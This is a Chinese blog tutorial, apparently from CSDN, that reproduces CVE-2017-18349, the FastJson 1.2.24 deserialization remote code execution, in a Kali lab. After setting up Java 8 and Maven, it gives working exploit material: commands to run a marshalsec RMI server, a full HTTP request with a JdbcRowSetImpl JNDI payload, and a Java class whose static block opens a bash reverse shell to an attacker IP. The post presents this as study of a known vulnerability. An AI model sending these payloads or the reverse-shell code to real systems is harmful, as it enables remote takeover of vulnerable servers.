kali下java任意版本安装、切换;maven配置;CVE-2017-18349(FastJson1.2.24反序列化导致任意命令执行漏洞)复现,从环境配置到复现保姆级过程

声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。文章为作者个人笔记及分享,如有错误或可改进的地方,欢迎各位大佬予以斧正

前期准备:1、配置Java8环境;2、配置maven环境

本机默认Java版本

通过一下链接下载Java8

https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz

创建Java文件夹

将下载的压缩包移动到Java目录下

切换到Java目录并解压

配置环境变量

Vim /etc/profile

将以下内容复制到最底下

    JAVA_HOME=/usr/local/java/jdk1.8.0_202

    PATH=$PATH:$HOME/bin:$JAVA_HOME/bin

    export JAVA_HOME

    export PATH

使用以下命令通知系统Java的位置

update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_202/bin/java" 1

update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_202/bin/javac" 1

update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_202/bin/javaws" 1

update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_202/bin/javaws" 1

重新载入profile

source /etc/profile

但是此时系统还是Java11

Javac却没问题

因为Java默认使用的是系统版本,接下来将切换

使用命令update-alternatives --config java

成功安装

接下来安装maven,通过命令直接安装,简单很多,apt-get install maven

找到settings,配置仓库镜像和Java版本

仓库配置

镜像配置

配置Java版本

配置mvn环境变量

配置好以后重新载入profile即可。

环境配置好之后接下来开始实验部分

靶机ip:192.168.1.163/

http,rmi服务ip:192.168.1.160/

攻击机ip:192.168.1.150/

开启实验环境

下载所要用到的工具及poc/exp

git clone GitHub - h0cksr/Fastjson--CVE-2017-18349-

编译.java文件

在此目录开启http服务

保证被攻击机能访问到攻击机http服务

git clone GitHub - mbechler/marshalsec

进入marshalsec目录,执行mvn clean package -DskipTests 编译生成的marshalsec的jar包执行上面的命令必须在有pom.xml的目录下执行

装好以后明显多了一个target,并进入此目录执行以下命令便可开启rmi服务或ldap服务线程加载.class文件,具体工具使用可上github查看作者说明

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.1.160:8888/#TouchFile”,注意引号必须是英文

通过访问靶机并抓包

修改数据包

数据包如下

POST / HTTP/1.1
Host: 192.168.238.129:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 167

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.238.128:1099/TouchFile",
        "autoCommit":true
    }
}

切换到靶机去看看成功执行没有

第一条命令是查看容器id,第二条是进入容器

反弹shell,首先重新配置脚本

脚本配置

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.238.128/6666 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

重复以上步骤并开启监听

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值